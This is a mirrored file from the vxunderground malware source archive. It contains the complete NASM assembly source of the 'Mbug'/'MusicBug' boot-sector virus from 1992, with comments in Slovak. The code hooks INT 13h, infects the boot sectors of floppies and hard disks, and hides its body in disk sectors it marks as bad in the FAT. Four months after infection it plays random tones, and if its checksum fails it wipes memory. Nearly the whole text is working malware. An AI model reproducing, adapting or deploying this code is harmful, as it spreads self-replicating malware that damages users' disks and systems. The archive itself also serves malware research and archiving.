mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
890 lines
24 KiB
NASM
890 lines
24 KiB
NASM
; --------------------------------------------------------------------------
|
||
; Virus Mbug Sourced by Roman_S (c) jan 1992
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; --------------------------------------------------------------------------
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; Ulozenie BOOT Sect 7, Head 0, stopa 9 (360 Kb)
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; Virus Sec 8,9 Hed 0, stopa 9
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; Sec 0 Head 1, stopa 9
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; Po preklade TASM vznika original !!!
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; --------------------------------------------------------------------------
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NOSMART
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data_1e equ 230h
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data_2e equ 6Ch
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data_3e equ 0Dh
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data_4e equ 0Eh
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data_5e equ 11h
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data_6e equ 13h
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data_7e equ 15h
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data_8e equ 16h
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data_9e equ 18h
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data_10e equ 1Ah
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ram_top equ 413h ;Vrchol RAM
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buffer_boot equ 0dd1h
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mbug segment byte public
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assume cs:mbug, ds:mbug
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org 100h
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start: cli ;Disable interrupts
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jmp run_virus
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B_name db 'IBM 3.3'
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B_bytes_sect dw 200h
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B_clust_size db 2
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B_reserved dw 1
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B_count_fat db 2
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B_root_size dw 70h
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B_total_sect dw 2D0h
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B_media_desc db 0FDh
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B_fat_size dw 2
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B_track_sect dw 9
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B_head_cnt dw 2
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dw 0
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db 6 dup (0)
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db 0Fh, 0, 0, 0, 0, 1
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db 0, 0, 0, 0, 0, 12h
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db 0, 0, 0, 0, 1, 0
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db 0FAh, 33h, 0C0h, 8Eh, 0D0h, 0BCh
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db 0, 7Ch, 16h, 7
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chcksum dw 4F3Fh ;Kontrolny sucet casti vira
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drive_head dw 0 ;Ulozenie virusu na disku
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stopa_sect dw 907h
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pocet_hlav db 2
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sect_inc_track db 0Ah
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pom_ax dw 200h
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pom_bx dw 8A00h
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pom_cx dw 905h
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pom_dx dw 100h
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db 0B6h, 0D9h, 0A1h, 49h, 0A6h, 55h
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db 0A6h, 0ECh, 0A7h, 0CCh, 0A5h, 53h
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db 0A6h, 6Eh, 0A1h, 41h, 0A7h, 0DAh
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db 0ACh, 4Fh, 0A4h, 40h, 0B0h, 0A6h
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db 0B5h, 0BDh, 0A8h, 7Dh, 0AAh, 0BAh
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db 0A4h, 70h, 0AFh, 66h, 0ACh, 72h
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db 0A1h, 41h, 0A7h, 0DAh, 0A4h, 0A3h
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db 0B7h, 7Ch, 0AFh, 7Dh, 0C3h, 61h
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db 0B1h, 7Ah, 0BAh, 0CFh, 0A4h, 0F9h
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db 0A4h, 57h, 0AAh, 0BAh, 0A5h, 0F4h
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db 0A6h, 0F3h, 0B8h, 0EAh, 0AEh, 0C6h
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db 0A1h, 41h, 0A5h, 75h, 0B0h, 0B8h
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db 0A6h, 0D3h, 27h, 0A7h, 0ECh, 0A8h
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db 67h, 27h, 0A4h, 40h, 0A4h, 55h
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db 0A1h, 41h, 0A5h, 0D1h, 0A9h, 0F3h
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db 0B5h, 4Ch, 0ACh, 72h, 0A5h, 42h
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db 0B9h, 0EFh, 0BEh, 0F7h, 0C5h, 0E9h
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db 0B5h, 4Ch, 0AEh, 60h, 0B7h, 71h
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db 0BDh, 0D0h, 0A6h, 77h, 0A4h, 0DFh
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db 0A8h, 0CFh, 0A5h, 0CEh, 0A1h, 43h
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db 0C1h, 0C2h, 0C1h, 0C2h, 0A1h, 49h
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db 0A1h
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db 49h
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; -------------------------------------------------------------------------
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run_virus: mov ax,cs ;Set registers & stack
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mov ds,ax
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mov es,ax
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mov ss,ax
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mov sp,0F000h
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sti ;Enable interrupts
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call test_chcksum
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mov ax,ds:[B_track_sect+7c00h-100h]
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inc al
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mov ds:[sect_inc_track+7c00h-100h],al
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mov ax,ds:[B_head_cnt+7c00h-100h]
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mov ds:[pocet_hlav+7c00h-100h],al
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mov dx,ds:[drive_head+7c00h-100h]
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mov cx,ds:[stopa_sect+7c00h-100h]
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call next_sect1 ;Posun CX,DX na dalsi
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mov ax,207h ;Read 7 sectors
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mov bx,7E00h ;Buffer
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call read_vir2 ;Citaj druhu cast virusu
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jnc read_ok
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int 18h ;ROM basic
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read_ok: mov ax,ds:ram_top ;Memory TOP
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sub ax,4 ;Reserved 4 Kb
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mov ds:ram_top,ax ;Set new value
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mov cl,6 ;Convert to segment addres
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shl ax,cl
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mov es,ax ;Set ES to nex segment memory
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mov si,7C00h ;Zaciatok virusu
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xor di,di ;Na zaciatok memory bloku
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mov cx,800h
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cld
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rep movsw ;Copy virus to MEM TOP
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push es
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mov ax,200h ;Push far Continue
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push ax
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retf ;Jmp to Continue
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; --------------------------------------------------------------------------
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; Nacitanie zvysnych sektorov virusu
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; Vstupuje AH - command BX - adresa pre data
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; AL - pocet sektorov
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; --------------------------------------------------------------------------
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read_vir2: push ax ;Backup registers
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push bx
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push cx
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push dx
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mov cs:[pom_ax+7c00h-100h],ax
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mov cs:[pom_bx+7c00h-100h],bx
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mov cs:[pom_cx+7c00h-100h],cx
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mov cs:[pom_dx+7c00h-100h],dx
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dalsi: mov cx,4 ;Count for error
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read_again: push cx ;Backup
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mov ah,byte ptr cs:[pom_ax+7c00h-100h+1] ;Command
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mov al,1 ;1 sect
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mov bx,cs:[pom_bx+7c00h-100h]
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mov cx,cs:[pom_cx+7c00h-100h]
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mov dx,cs:[pom_dx+7c00h-100h]
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int 13h ;Read 1 sector to BX
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pop cx ;Restore counter error
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jnc read_ok1
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xor ah,ah
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int 13h ;Reset disk
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loop read_again ;Dalsi pokus
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stc ;Nepodarilo sa
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jmp short return
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read_ok1: dec byte ptr cs:[pom_ax+7c00h-100h] ;Zmensi pocet sektorov
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cmp byte ptr cs:[pom_ax+7c00h-100h],0 ;Toto bol posledny ?
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je return
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mov cx,cs:[pom_cx+7c00h-100h]
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mov dx,cs:[pom_dx+7c00h-100h]
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call next_sect1 ;Posun na dalsi sect
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mov cs:[pom_cx+7c00h-100h],cx
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mov cs:[pom_dx+7c00h-100h],dx
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mov bx,cs:[pom_bx+7c00h-100h] ;Buffer
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add bx,200h ;Posun sa o 1 sector
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mov cs:[pom_bx+7c00h-100h],bx
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jmp short dalsi ;Citaj dalsi sektor
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return: pop dx ;Restore registers
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pop cx
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pop bx
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pop ax
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retn
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; ---------------------------------------------------------------------------
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; Rutina posunie CX,DX na dalsi sektor
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; ---------------------------------------------------------------------------
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next_sect1: push ax
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inc cl ;Next sector
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mov al,cl
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and al,3Fh
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cmp al,cs:[sect_inc_track+7c00h-100h] ;Prekroceny posledny?
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jb next_ok ;Jump if no
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and cl,0C0h ;Znuluj ho
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inc cl ;Nastav 1 a daj dalsiu hlavu
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inc dh
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cmp dh,cs:[pocet_hlav+7c00h-100h] ;Posledna hlava ?
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jb next_ok ;Jump if no
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xor dh,dh ;Nastav prvu hlavu
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add ch,1 ;Posun na dalsiu stopu
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jnc next_ok
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add cl,40h
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jnc next_ok
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or cl,0C0h
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next_ok: pop ax
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retn
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;--------------------------------------------------------------------------
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; Prevedie kontrolnu sumu casti virusu a ak nesedi premaze pamat
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;--------------------------------------------------------------------------
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test_chcksum: mov si,7C50h
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mov cx,7CD0h
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sub cx,si
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xor ah,ah
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xor dx,dx ;Suma = 0
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cld
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add_next: lodsb
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add dx,ax ;Suma = Suma + AX
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loop add_next
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cmp dx,ds:[chcksum+7c00h-100h]
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je chcksum_ok
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xor ax,ax ;Chyba -> Clear RAM 0-8000h
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mov es,ax
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xor di,di
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mov cx,8000h
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kill_next: stosw
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loop kill_next
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chcksum_ok: retn
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db 15 dup (0)
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db 55h,0AAh ;Flag end sector BOOT
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; ----------------------------------------------------------------------------
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; Pokracovanie virusu cez RETF (Dalsie sektory)
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; ----------------------------------------------------------------------------
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continute_line: jmp short continue_lin
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db 3, 0, 0Ah, 0, 8, 4
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db 0, 0, 20h, 0FFh, 0Ah, 0
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db 1, 0
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db 'MusicBug v1.06. MacroSoft Corp. '
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old_13: dw 0A189h,0F000h ;Povodny INT 13h
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db 0
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continue_lin: xor ax,ax ;Set AX,DS,ES = 0
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mov ds,ax
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mov es,ax
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mov cx,4 ;Set error counter
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again_origin: push cx ;Backup
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mov ax,201h ;Read 1 sector
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mov bx,7C00h ;To original BOOT
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mov cx,cs:[stopa_sect-100h] ;Ulozenie povodneho BOOTu
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mov dx,cs:[drive_head-100h]
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int 13h ;Read original BOOT sector
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pop cx ;Restore
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jnc old_boot_ok
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xor ah,ah
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int 13h ;Reset disk
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loop again_origin
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int 18h ;ROM basic
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old_boot_ok: call redef_13
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mov cx,cs:[year-100h] ;Vyber cas nakazenia
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mov dh,cs:[month-100h]
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call year2month ;Preved na mesiace
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mov cs:[pom_months-100h],ax
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mov byte ptr cs:[flag_action-100h],0 ;Znuluj akciu
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nop
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mov ah,4
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int 1Ah ;Read date cx=year, dx=mon/day
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or dx,dx ;Je tam CMOS ?
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jz no_cmos
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call year2month ;Preved na mesiace
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sub ax,4 ;Pridaj 4 mesiace
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cmp ax,cs:[pom_months-100h] ;Uz ubehli od nakazenia ?
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jb no_cmos
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inc cs:[flag_action-100h] ;Ano nastav flag action
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no_cmos: push es
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mov ax,7C00h ;Push 0000:7C00
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push ax
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retf ;Jump far to original BOOT
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; ------------------------------------------------------------------------
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; New interrupt 13h - DISK I/O
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; ------------------------------------------------------------------------
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new_13: sti ;Enable
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pushf ;Backup registers
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push es
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push ds
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push di
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push si
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push ax
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push bx
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push cx
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push dx
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call timeout ;Testuj casovu prodlevu
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jc ret_from_13 ;Ochod ak neuplynula 1 sec.
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cmp dl,2 ;Disk A:, B: ?
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jb disk_ok ;Jump if YES
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cmp dl,80h ;Hardisk C: ?
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jne read_boot_err ;Jump if no
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disk_ok: mov si,cs ;Disk A: B: or C:
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mov ds,si
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mov es,si ;Set DS,ES to my segment
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mov cs:[drive_number-100h],dl ;Backup drive
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call read_boot ;Nacitaj boot sektor
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jc read_boot_err
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call sub_1
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jmp short ret_from_13
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read_boot_err: cmp byte ptr cs:[flag_action-100h],1 ;Ideme vyhravat ?
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jne ret_from_13
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call sound ;Zacvrlikaj
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ret_from_13: pop dx ;Restore registers
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pop cx
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pop bx
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pop ax
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pop si
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pop di
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pop ds
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pop es
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popf
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jmp dword ptr cs:[230h]
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; ------------------------------------------------------------------------
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;
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; ------------------------------------------------------------------------
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sub_1: call sub_2
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mov al,cs:data_54 ; (727D:0DE6=0F6h)
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cmp al,0FDh
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je loc_6
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cmp al,0F9h
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je loc_6
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cmp al,0F8h
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jne loc_ret_8
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call sub_4
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jnc loc_7
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retn
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loc_6: call sub_3
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jc loc_ret_8
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loc_7: call sub_6
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loc_ret_8: retn
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; ------------------------------------------------------------------------
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;
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; ------------------------------------------------------------------------
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sub_2: mov ax,cs:data_55 ; (727D:0DE7=0F6F6h)
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mov cs:7b7h,ax ; (727D:07B7=75AAh)
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xor bh,bh ; Zero register
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mov bl,cs:data_51 ; (727D:0DE1=0F6h)
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mul bx ; dx:ax = reg * ax
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add ax,cs:data_50 ; (727D:0DDF=0F6F6h)
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mov bx,cs:data_52 ; (727D:0DE2=0F6F6h)
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shr bx,1 ; Shift w/zeros fill
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shr bx,1 ; Shift w/zeros fill
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shr bx,1 ; Shift w/zeros fill
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shr bx,1 ; Shift w/zeros fill
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add ax,bx
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mov cs:7b5h,ax ; (727D:07B5=550Fh)
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mov al,cs:data_56 ; (727D:0DE9=0F6h)
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inc al
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mov cs:7beh,al ; (727D:07BE=0Dh)
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mov bl,cs:data_57 ; (727D:0DEB=0F6h)
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mov cs:7bfh,bl ; (727D:07BF=0)
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dec al
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mul bl ; ax = reg * al
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mov cs:7b3h,ax ; (727D:07B3=0CF3Eh)
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retn
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; ------------------------------------------------------------------------
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;
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; ------------------------------------------------------------------------
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sub_3: mov byte ptr cs:7c8h,0 ; (727D:07C8=3Bh)
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nop
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mov byte ptr cs:7c9h,0 ; (727D:07C9=6)
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nop
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loc_9: mov ah,2
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mov al,byte ptr cs:7b7h ; (727D:07B7=0AAh)
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cmp al,3
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jbe loc_10 ; Jump if below or =
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dec word ptr cs:7b7h ; (727D:07B7=75AAh)
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dec word ptr cs:7b7h ; (727D:07B7=75AAh)
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dec word ptr cs:7b7h ; (727D:07B7=75AAh)
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mov al,3
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jmp short loc_12 ; (047F)
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loc_10: or al,al ; Zero ?
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jnz loc_11 ; Jump if not zero
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jmp loc_19 ; (0551)
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loc_11: mov byte ptr cs:7c8h,1 ; (727D:07C8=3Bh)
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nop
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loc_12: mov cs:7ceh,al ; (727D:07CE=0F8h)
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lea bx,cs:[7D1h] ; Load effective addr
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mov cl,cs:7c9h ; (727D:07C9=6)
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shl cl,1 ; Shift w/zeros fill
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add cl,cs:7c9h ; (727D:07C9=6)
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inc cl
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inc cl
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mov cs:7cch,cl ; (727D:07CC=74h)
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xor ch,ch ; Zero register
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xor dh,dh ; Zero register
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mov dl,cs:7cah ; (727D:07CA=40h)
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call read_write
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jnc loc_13 ; Jump if carry=0
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jmp loc_ret_20 ; (0552)
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loc_13:
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mov ax,200h
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xor dh,dh ; Zero register
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mov dl,cs:7ceh ; (727D:07CE=0F8h)
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mul dx ; dx:ax = reg * ax
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sub ax,6
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mov cs:7bch,ax ; (727D:07BC=0DC3Eh)
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xor bx,bx ; Zero register
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loc_14:
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cmp bx,cs:7bch ; (727D:07BC=0DC3Eh)
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ja loc_16 ; Jump if above
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mov ax,cs:7d1h[bx] ; (727D:07D1=1EC3h)
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or ax,ax ; Zero ?
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jnz loc_15 ; Jump if not zero
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mov ax,cs:7d3h[bx] ; (727D:07D3=5350h)
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or ax,ax ; Zero ?
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jnz loc_15 ; Jump if not zero
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mov ax,cs:7d5h[bx] ; (727D:07D5=40B8h)
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or ax,ax ; Zero ?
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jz loc_17 ; Jump if zero
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loc_15: inc bx
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inc bx
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inc bx
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jmp short loc_14
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loc_16: cmp byte ptr cs:7c8h,1 ; (727D:07C8=3Bh)
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je loc_19 ; Jump if equal
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inc byte ptr cs:7c9h ; (727D:07C9=6)
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jmp loc_9 ; (0454)
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loc_17:
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mov ax,0FFFFh
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mov cs:7d1h[bx],ax ; (727D:07D1=1EC3h)
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mov cs:7d3h[bx],ax ; (727D:07D3=5350h)
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mov cs:7d5h[bx],ax ; (727D:07D5=40B8h)
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xor ah,ah ; Zero register
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mov al,cs:7c9h ; (727D:07C9=6)
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shl al,1 ; Shift w/zeros fill
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add al,cs:7c9h ; (727D:07C9=6)
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mov dx,200h
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mul dx ; dx:ax = reg * ax
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add ax,bx
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xor dx,dx ; Zero register
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mov bx,3
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div bx ; ax,dx rem=dx:ax/reg
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dec ax
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shl ax,1 ; Shift w/zeros fill
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mov cl,cs:data_49 ; (727D:0DDE=0F6h)
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shr cl,1 ; Shift w/zeros fill
|
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or cl,cl ; Zero ?
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jz loc_18 ; Jump if zero
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shl ax,cl ; Shift w/zeros fill
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||
loc_18:
|
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add ax,cs:7b5h ; (727D:07B5=550Fh)
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||
call sub_5 ; (0611)
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||
mov byte ptr cs:7cbh,0 ; (727D:07CB=0)
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||
nop
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mov byte ptr cs:7cdh,0 ; (727D:07CD=2)
|
||
nop
|
||
xor dl,dl
|
||
clc ;Clear carry flag
|
||
jmp short loc_ret_20
|
||
loc_19: stc ;Set carry flag
|
||
loc_ret_20: retn
|
||
|
||
|
||
; ------------------------------------------------------------------------
|
||
;
|
||
; ------------------------------------------------------------------------
|
||
sub_4: mov ax,1FCh
|
||
mov cs:7bch,ax ; (727D:07BC=0DC3Eh)
|
||
mov byte ptr cs:7b9h,1 ; (727D:07B9=16h)
|
||
nop
|
||
mov word ptr cs:7bah,2 ; (727D:07BA=812Eh)
|
||
loc_21:
|
||
mov ax,201h
|
||
lea bx,cs:[7D1h] ; Load effective addr
|
||
mov cx,cs:7bah ; (727D:07BA=812Eh)
|
||
mov dh,byte ptr cs:7b9h ; (727D:07B9=16h)
|
||
mov dl,80h
|
||
call read_write
|
||
jnc loc_22 ; Jump if carry=0
|
||
jmp loc_ret_28 ; (0610)
|
||
loc_22:
|
||
mov word ptr cs:7cch,cx ; (727D:07CC=274h)
|
||
mov cs:7cbh,dh ; (727D:07CB=0)
|
||
call sub_7 ; (06E9)
|
||
mov cs:7bah,cx ; (727D:07BA=812Eh)
|
||
mov cs:7b9h,dh ; (727D:07B9=16h)
|
||
dec word ptr cs:7b7h ; (727D:07B7=75AAh)
|
||
xor bx,bx ; Zero register
|
||
loc_23:
|
||
cmp bx,cs:7bch ; (727D:07BC=0DC3Eh)
|
||
ja loc_25 ; Jump if above
|
||
mov ax,cs:7d1h[bx] ; (727D:07D1=1EC3h)
|
||
or ax,ax ; Zero ?
|
||
jnz loc_24 ; Jump if not zero
|
||
mov ax,cs:7d3h[bx] ; (727D:07D3=5350h)
|
||
or ax,ax ; Zero ?
|
||
jz loc_26 ; Jump if zero
|
||
loc_24:
|
||
inc bx
|
||
inc bx
|
||
jmp short loc_23 ; (05A1)
|
||
loc_25:
|
||
cmp word ptr cs:7b7h,0 ; (727D:07B7=75AAh)
|
||
jne loc_21 ; Jump if not equal
|
||
jmp short loc_27 ; (060F)
|
||
db 90h
|
||
loc_26:
|
||
mov ax,0FFFFh
|
||
mov cs:7d1h[bx],ax ; (727D:07D1=1EC3h)
|
||
mov cs:7d3h[bx],ax ; (727D:07D3=5350h)
|
||
mov byte ptr cs:7ceh,1 ; (727D:07CE=0F8h)
|
||
nop
|
||
mov ax,cs:data_55 ; (727D:0DE7=0F6F6h)
|
||
sub ax,cs:7b7h ; (727D:07B7=75AAh)
|
||
dec ax
|
||
mov dx,200h
|
||
mul dx ; dx:ax = reg * ax
|
||
add bx,ax
|
||
shr bx,1 ; Shift w/zeros fill
|
||
dec bx
|
||
dec bx
|
||
mov ax,bx
|
||
xor bh,bh ; Zero register
|
||
mov bl,cs:data_49 ; (727D:0DDE=0F6h)
|
||
mul bx ; dx:ax = reg * ax
|
||
add ax,cs:7b5h ; (727D:07B5=550Fh)
|
||
add ax,word ptr cs:data_56 ; (727D:0DE9=0F6F6h)
|
||
call sub_5 ; (0611)
|
||
mov dl,80h
|
||
clc ; Clear carry flag
|
||
jmp short loc_ret_28 ; (0610)
|
||
loc_27: stc
|
||
loc_ret_28: retn
|
||
|
||
|
||
; ------------------------------------------------------------------------
|
||
;
|
||
; ------------------------------------------------------------------------
|
||
sub_5: xor dx,dx ; Zero register
|
||
mov bx,cs:7b3h ; (727D:07B3=0CF3Eh)
|
||
div bx ; ax,dx rem=dx:ax/reg
|
||
mov ch,al
|
||
mov cl,6
|
||
shl ah,cl ; Shift w/zeros fill
|
||
mov cl,ah
|
||
xor ax,ax ; Zero register
|
||
xchg ax,dx
|
||
mov bx,word ptr cs:data_56 ; (727D:0DE9=0F6F6h)
|
||
div bx ; ax,dx rem=dx:ax/reg
|
||
mov dh,al
|
||
inc dl
|
||
add cl,dl
|
||
retn
|
||
|
||
|
||
; ------------------------------------------------------------------------
|
||
;
|
||
; ------------------------------------------------------------------------
|
||
sub_6: mov al,cs:data_49 ; (727D:0DDE=0F6h)
|
||
mov cs:data_3e,al ; (727D:000D=0)
|
||
mov ax,cs:data_50 ; (727D:0DDF=0F6F6h)
|
||
mov cs:data_4e,ax ; (727D:000E=0)
|
||
mov ax,cs:data_52 ; (727D:0DE2=0F6F6h)
|
||
mov cs:data_5e,ax ; (727D:0011=0)
|
||
mov ax,cs:data_53 ; (727D:0DE4=0F6F6h)
|
||
mov cs:data_6e,ax ; (727D:0013=0)
|
||
mov al,cs:data_54 ; (727D:0DE6=0F6h)
|
||
mov cs:data_7e,al ; (727D:0015=0)
|
||
mov ax,cs:data_55 ; (727D:0DE7=0F6F6h)
|
||
mov cs:data_8e,ax ; (727D:0016=0)
|
||
mov ax,word ptr cs:data_56 ; (727D:0DE9=0F6F6h)
|
||
mov cs:data_9e,ax ; (727D:0018=0)
|
||
mov ax,word ptr cs:data_57 ; (727D:0DEB=0F6F6h)
|
||
mov cs:data_10e,ax ; (727D:001A=0)
|
||
mov byte ptr cs:[1FDh],dl ; (727D:01FD=7Eh)
|
||
mov cs:[drive_head-100h],dx
|
||
mov cs:[stopa_sect-100h],cx
|
||
mov ax,301h
|
||
lea bx,cs:[0DD1h] ; Load effective addr
|
||
mov dl,cs:7cah ; (727D:07CA=40h)
|
||
call read_write
|
||
jc loc_ret_30 ; Jump if carry Set
|
||
call sub_7 ; (06E9)
|
||
push cx
|
||
push dx
|
||
mov ah,4
|
||
int 1Ah ; Real time clock ah=func 04h
|
||
; read date cx=year, dx=mon/day
|
||
mov cs:[year-100h],cx ; (727D:079C=0DD1h)
|
||
mov cs:[month-100h],dh ; (727D:079E=0B9h)
|
||
mov ax,79Fh
|
||
sub ax,200h
|
||
mov cl,9
|
||
shr ax,cl ; Shift w/zeros fill
|
||
inc al
|
||
pop dx
|
||
pop cx
|
||
mov ah,3
|
||
mov bx,200h
|
||
call read_write
|
||
jc loc_ret_30 ; Jump if carry Set
|
||
mov al,cs:7ceh ; (727D:07CE=0F8h)
|
||
lea bx,cs:[7D1h] ; Load effective addr
|
||
mov cx,word ptr cs:7cch ; (727D:07CC=274h)
|
||
mov dh,cs:7cbh ; (727D:07CB=0)
|
||
call read_write
|
||
jc loc_ret_30 ; Jump if carry Set
|
||
mov al,1
|
||
xor bx,bx ; Zero register
|
||
mov cx,1
|
||
xor dh,dh ; Zero register
|
||
cmp dl,80h
|
||
jne loc_29 ; Jump if not equal
|
||
inc dh
|
||
loc_29: call read_write
|
||
loc_ret_30: retn
|
||
|
||
; ------------------------------------------------------------------------
|
||
;
|
||
; ------------------------------------------------------------------------
|
||
sub_7: push ax
|
||
inc cl
|
||
mov al,cl
|
||
and al,3Fh ; '?'
|
||
cmp al,cs:7beh ; (727D:07BE=0Dh)
|
||
jb loc_31 ; Jump if below
|
||
and cl,0C0h
|
||
inc cl
|
||
inc dh
|
||
cmp dh,cs:7bfh ; (727D:07BF=0)
|
||
jb loc_31 ; Jump if below
|
||
xor dh,dh ; Zero register
|
||
add ch,1
|
||
jnc loc_31 ; Jump if carry=0
|
||
add cl,40h ; '@'
|
||
jnc loc_31 ; Jump if carry=0
|
||
or cl,0C0h
|
||
loc_31: pop ax
|
||
retn
|
||
|
||
; ------------------------------------------------------------------------
|
||
;
|
||
; ------------------------------------------------------------------------
|
||
read_write: push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
mov cs:7c0h,ax ; (727D:07C0=7502h)
|
||
mov cs:7c2h,bx ; (727D:07C2=2E0Dh)
|
||
mov cs:7c4h,cx ; (727D:07C4=11A1h)
|
||
mov cs:7c6h,dx ; (727D:07C6=2E0Eh)
|
||
loc_32: mov cx,4
|
||
locloop_33: push cx
|
||
mov ah,byte ptr cs:7c0h+1 ; (727D:07C1=75h)
|
||
mov al,1
|
||
mov bx,cs:7c2h ; (727D:07C2=2E0Dh)
|
||
mov cx,cs:7c4h ; (727D:07C4=11A1h)
|
||
mov dx,cs:7c6h ; (727D:07C6=2E0Eh)
|
||
pushf ; Push flags
|
||
call dword ptr ds:data_1e ; (0000:0230=0)
|
||
pop cx
|
||
jnc loc_34 ; Jump if carry=0
|
||
xor ah,ah ; Zero register
|
||
pushf ; Push flags
|
||
call dword ptr ds:data_1e ; (0000:0230=0)
|
||
loop locloop_33 ; Loop if cx > 0
|
||
|
||
stc ; Set carry flag
|
||
jmp short loc_35 ; (078F)
|
||
loc_34:
|
||
dec byte ptr cs:7c0h ; (727D:07C0=2)
|
||
cmp byte ptr cs:7c0h,0 ; (727D:07C0=2)
|
||
je loc_35 ; Jump if equal
|
||
mov cx,cs:7c4h ; (727D:07C4=11A1h)
|
||
mov dx,cs:7c6h ; (727D:07C6=2E0Eh)
|
||
call sub_7 ; (06E9)
|
||
mov cs:7c4h,cx ; (727D:07C4=11A1h)
|
||
mov cs:7c6h,dx ; (727D:07C6=2E0Eh)
|
||
mov bx,cs:7c2h ; (727D:07C2=2E0Dh)
|
||
add bx,200h
|
||
mov cs:7c2h,bx ; (727D:07C2=2E0Dh)
|
||
jmp short loc_32 ; (072D)
|
||
loc_35:
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
retn
|
||
|
||
|
||
; --------------------------------------------------------------------------
|
||
; Nacitanie BOOT sektora
|
||
; Vracia CF = 1 ak operacia prebehla neuspesne, boot je zly, nakazeny,
|
||
; alebo command nie je READ
|
||
; --------------------------------------------------------------------------
|
||
read_boot: cmp ah,2 ;Read command
|
||
jne read_boot_end
|
||
mov al,1 ;Set 1 sector for READ_WRITE
|
||
mov bx,buffer_boot
|
||
mov cx,1 ;Boot sector
|
||
xor dh,dh
|
||
cmp dl,80h ;Pracujeme s diskom D: E: .. ?
|
||
ja read_boot_end ;Ak ano odchod
|
||
jnz obskok ;Skok ak nepracujem s C:
|
||
inc dh
|
||
obskok: call read_write ;Read boot sector
|
||
jc return_
|
||
cmp word ptr cs:[buffer_boot+200h-2],0aa55h ;Test Boot flag
|
||
jnz read_boot_end ;Toto nie je Boot sect.
|
||
cmp word ptr cs:[buffer_boot+11],200h ;Sector size = 200h ?
|
||
jnz read_boot_end
|
||
mov ax,cs:[buffer_boot+40h] ;Testuj ci uz nie je nakazeny
|
||
cmp ax,cs:[40h]
|
||
jz read_boot_end ;Ak ano odchod (Set error)
|
||
clc ;OK
|
||
ret
|
||
read_boot_end: stc ;Error
|
||
return_: ret
|
||
|
||
|
||
; ---------------------------------------------------------------------------
|
||
; Test casova prodlevy 1 sekundy
|
||
; Vracia CARRY = 1 ak od poslaedneho volnania neubehla 1 sekunda
|
||
; ---------------------------------------------------------------------------
|
||
timeout: push ds ;Backup registers
|
||
push ax
|
||
push bx
|
||
mov ax,40h
|
||
mov ds,ax
|
||
mov si,6ch
|
||
mov ax,[si] ;AX = <0000:046C> - timer cnt
|
||
mov bx,ax
|
||
sub ax,cs:[timer_tick-100h] ;Odpocitaj poslednu pouzitu hodn.
|
||
cmp ax,18 ;Ubehla aspom 1 sekunda ?
|
||
jb este_nie ;Jump if no
|
||
mov cs:7cfh,bx
|
||
clc ;Set flag time OK
|
||
jmp short obskok_t
|
||
este_nie: stc ;Set flag este neubehla 1 sek.
|
||
obskok_t: pop bx ;Restore registers
|
||
pop ax
|
||
pop ds
|
||
ret
|
||
|
||
; ----------------------------------------------------------------------------
|
||
; Nahodna melodia
|
||
; ----------------------------------------------------------------------------
|
||
sound: push ds
|
||
mov ax,40h
|
||
mov ds,ax
|
||
mov si,6Ch
|
||
mov al,ds:data_2e ; (0040:006C=3Ah)
|
||
cmp al,0DDh
|
||
jb loc_40 ; Jump if below
|
||
mov cx,24h
|
||
mov si,ds:data_2e ; (0040:006C=0E43Ah)
|
||
cld ; Clear direction
|
||
|
||
locloop_37: push cx
|
||
lodsb ; String [si] to al
|
||
and al,7
|
||
cbw ; Convrt byte to word
|
||
mov bx,ax
|
||
xor ax,ax ; Zero register
|
||
mov dx,12h
|
||
div word ptr cs:[74Ah][bx] ; (727D:074A=230h) ax,dxrem=dx:ax/data
|
||
mov bx,ax
|
||
mov al,0B6h
|
||
out 43h,al ; port 43h, 8253 wrt timr mode
|
||
mov ax,bx
|
||
out 42h,al ; port 42h, 8253 timer 2 spkr
|
||
mov al,ah
|
||
out 42h,al ; port 42h, 8253 timer 2 spkr
|
||
in al,61h ; port 61h, 8255 port B, read
|
||
or al,3
|
||
out 61h,al ; port 61h, 8255 B - spkr, etc
|
||
mov cx,0FFFFh
|
||
|
||
locloop_38: loop locloop_38 ; Loop if cx > 0
|
||
|
||
in al,61h ; port 61h, 8255 port B, read
|
||
and al,0FCh
|
||
out 61h,al ; port 61h, 8255 B - spkr, etc
|
||
; al = 0, disable parity
|
||
mov cx,0FFFFh
|
||
|
||
locloop_39:
|
||
loop locloop_39 ; Loop if cx > 0
|
||
|
||
pop cx
|
||
loop locloop_37 ; Loop if cx > 0
|
||
|
||
loc_40: pop ds
|
||
retn
|
||
|
||
db 6, 1, 26h, 1, 4Ah, 1
|
||
db 5Bh, 1, 88h, 1, 0B8h, 1
|
||
db 0EEh, 1, 0Ch, 2
|
||
|
||
; ---------------------------------------------------------------------------
|
||
; Konverzia roku (posl.2 BCD cisla) a mesiaca na pocet mesiacov
|
||
; Prepocet CL (rok), DH (mesiac) -> AX (mesiace)
|
||
; Pr. 6.12.1991 (9*10+1)*12 + (10+2)
|
||
; ---------------------------------------------------------------------------
|
||
year2month: mov al,cl
|
||
shr al,1 ;Horne 4 bity
|
||
shr al,1
|
||
shr al,1
|
||
shr al,1
|
||
mov bl,10
|
||
mul bl ;Nasob 10
|
||
and cl,0Fh ;Dolne 4 bity
|
||
add al,cl ;Pripocitaj
|
||
mov bl,12
|
||
mul bl ;Rok ma 12 mesiacov
|
||
test dh,10h ;Mesiac 10,11,12 ?
|
||
jz no_zima
|
||
add ax,10 ;Pridaj
|
||
no_zima: xchg dh,dl
|
||
; and dx,0Fh
|
||
db 83h,0e2h,0fh ;Original instruction for prev.
|
||
add ax,dx
|
||
retn
|
||
|
||
; ----------------------------------------------------------------------------
|
||
; Predefinovanie INT 13h na NEW_13
|
||
; ----------------------------------------------------------------------------
|
||
redef_13: cld
|
||
mov si,13h*4 ;Offset INT 13 in Zero segment
|
||
mov di,si
|
||
lodsw ;Load INT 13h
|
||
mov word ptr cs:[old_13-100h],ax
|
||
lodsw
|
||
mov word ptr cs:[old_13-100h+2],ax
|
||
mov ax,offset new_13-100h
|
||
stosw ;Store new_13
|
||
mov ax,cs
|
||
stosw
|
||
retn
|
||
|
||
; ----------------------------------------------------------------------------
|
||
flag_action db 1
|
||
pom_months dw 445h
|
||
year dw 1991h
|
||
month db 6
|
||
db '-- Made In Taiwan --'
|
||
|
||
|
||
sect_allhead dw 12h
|
||
start_data dw 0ch
|
||
backup_fat_size dw 2
|
||
db 2,10h,0
|
||
fat_size_byte dw 3fah
|
||
sect_per_track2 db 0ah
|
||
head_cnt db 2
|
||
